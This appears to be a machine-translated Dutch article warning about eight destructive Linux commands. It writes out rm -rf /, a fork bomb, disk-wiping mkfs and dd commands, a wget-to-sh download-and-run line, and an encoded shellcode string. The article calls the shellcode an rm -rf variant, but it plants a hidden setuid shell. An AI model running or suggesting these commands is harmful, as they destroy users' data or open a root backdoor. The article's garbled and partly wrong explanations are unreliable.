Terminalopdrachten op Linux zijn behoorlijk destructief; als je een opdracht uitvoert, wordt je systeem vernietigd. Linux vereist niet dat u bevestigt wanneer u een opdracht uitvoert.
Als u leert welke opdrachten niet op Linux mogen worden uitgevoerd, kunt u uw systeem beschermen wanneer u op Linux werkt. Hieronder staan 8 dodelijke commando's die je nooit op Linux zou moeten uitvoeren.

1. rm -rf / - verwijder alles
Met het commando rm -rf / wordt alles verwijderd, inclusief bestanden op uw harde schijf en bestanden op media-apparaten die op uw computer zijn aangesloten.
Om dit commando beter te begrijpen, analyseert u het als volgt:
- rm – Verwijder de volgende bestanden.
- -rf – voert rm uit (verwijdert alle bestanden en mappen in een opgegeven map) en verwijdert met geweld alle bestanden zonder u eerst te vragen.
- / – Vertelt dat rm (zeg rm) start in de hoofdmap, inclusief alle bestanden op uw computer.
Linux zal dit commando graag volgen en alles verwijderen zonder je te waarschuwen, dus wees voorzichtig bij het gebruik van dit commando.
Bovendien wordt het commando rm ook op zeer gevaarlijke manieren gebruikt. Met rm –rf ~ worden bijvoorbeeld alle bestanden in uw thuismap verwijderd, en met rm -rf .* worden al uw configuratiebestanden verwijderd.
2. Vermomd commando rm –rf /
Hier is een codefragment dat overal op internet te vinden is:
char esp[] __attribute__ ((sectie(".text"))) /* esp release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Dit is in wezen een andere versie van rm –rf / – als u deze opdracht uitvoert, worden ook al uw bestanden verwijderd, net zoals bij het uitvoeren van rm –rf /.
3. :(){ :|: & };: – Een soort blockbuster
![8 dodelijke commando's die nooit op Linux mogen worden uitgevoerd 8 dodelijke commando's die nooit op Linux mogen worden uitgevoerd]()
De onderstaande opdrachtregel ziet er heel eenvoudig uit, maar de functie ervan is eigenlijk heel gevaarlijk:
:(){ :|: & };:
Met deze korte opdracht worden nieuwe kopieën van zichzelf gemaakt. Dat wil zeggen dat het back-upproces zelf continu zal zijn en ervoor zal zorgen dat uw CPU en geheugen snel vol raken.
Het kan er ook voor zorgen dat uw computer vastloopt. Het is feitelijk een Denial of Service (DoS)-aanval.
4. mkfs.ext4 /dev/sda1 – Formaten van harde schijven
Het commando mkfs.ext4 /dev/sda1 is vrij eenvoudig te begrijpen:
- mkfs.ext4 - creëert een ext4-bestandssysteem op het volgende apparaat.
- /dev/sda1 - identificeert de eerste partitie op de eerste harde schijf, wat mogelijk de harde schijf is die in gebruik is.
Het combineren van deze twee opdrachten komt overeen met het formatteren van station C: op Windows: verwijder alle bestanden op uw eerste partitie en vervang ze door het nieuwe bestandssysteem.
Deze opdracht kan in veel verschillende formaten verschijnen, zoals - mkfs.ext3 /dev/sdb2 formatteert de tweede partitie op uw tweede harde schijf met het ext3-bestandssysteem.
5. commando > /dev/sda - schrijf rechtstreeks naar een harde schijf
![8 dodelijke commando's die nooit op Linux mogen worden uitgevoerd 8 dodelijke commando's die nooit op Linux mogen worden uitgevoerd]()
Commandoregel > /dev/sda - voer een opdracht uit en voer het resultaat van die opdracht rechtstreeks uit naar uw eerste harde schijf, waarbij gegevens rechtstreeks naar de harde schijf worden geschreven en uw bestandssysteem wordt vernietigd.
- opdracht – Voer een opdracht uit (kan elke opdracht zijn).
- > – verzendt opdrachtuitvoer naar de volgende locatie.
- /dev/sda – Schrijf opdrachtuitvoer rechtstreeks naar de harde schijf.
6. dd if=/dev/random of=/dev/sda – schrijft domme gegevens naar de harde schijf
De regel dd if=/dev/random of=/dev/sda verwijdert gegevens op een van uw harde schijven.
- dd – is om op laag niveau te kopiëren van de ene locatie naar de andere.
- if=/dev/random – Gebruik /dev/random als invoer – mogelijk ziet u adressen als /dev/zero.
- of=/dev/sda – uitvoer naar de eerste harde schijf, waarbij het bestandssysteem wordt vervangen door willekeurige gekke gegevens.
7. mv ~ /dev/null – Verplaats uw thuismap naar een zwart gat
/dev/null - iets verplaatsen naar /dev/null is hetzelfde als het vernietigen. Beschouw /dev/null als een zwart gat. mv ~ /dev/null stuurt al je persoonlijke bestanden naar een zwart gat.
- mv – verplaats het volgende bestand of de volgende map naar een andere locatie.
- ~ – Je hele thuismap.
- /dev/null – Verplaats uw thuismap naar /dev/null, het zal al uw bestanden vernietigen en de originele kopieën verwijderen.
8. wget http://example.com/iets -O – | sh – laad en voer een script uit
Met de bovenstaande opdracht wordt een script van internet gedownload en naar sh verzonden, die de inhoud van het script zal uitvoeren. Dit kan gevaarlijk zijn als u niet zeker weet wat een script is of als u geen vertrouwde scriptbron heeft. Voer geen onbetrouwbare scripts uit.
wget – download een bestand.
http://example.com/something – download bestanden vanaf deze locatie.
| – Pipe (verzend) de uitvoer van de wget-opdracht (gedownload versiebestand) rechtstreeks naar een andere opdracht.
sh – stuur bestand naar sh-opdracht.
Zie hieronder nog enkele artikelen:
Plezier hebben!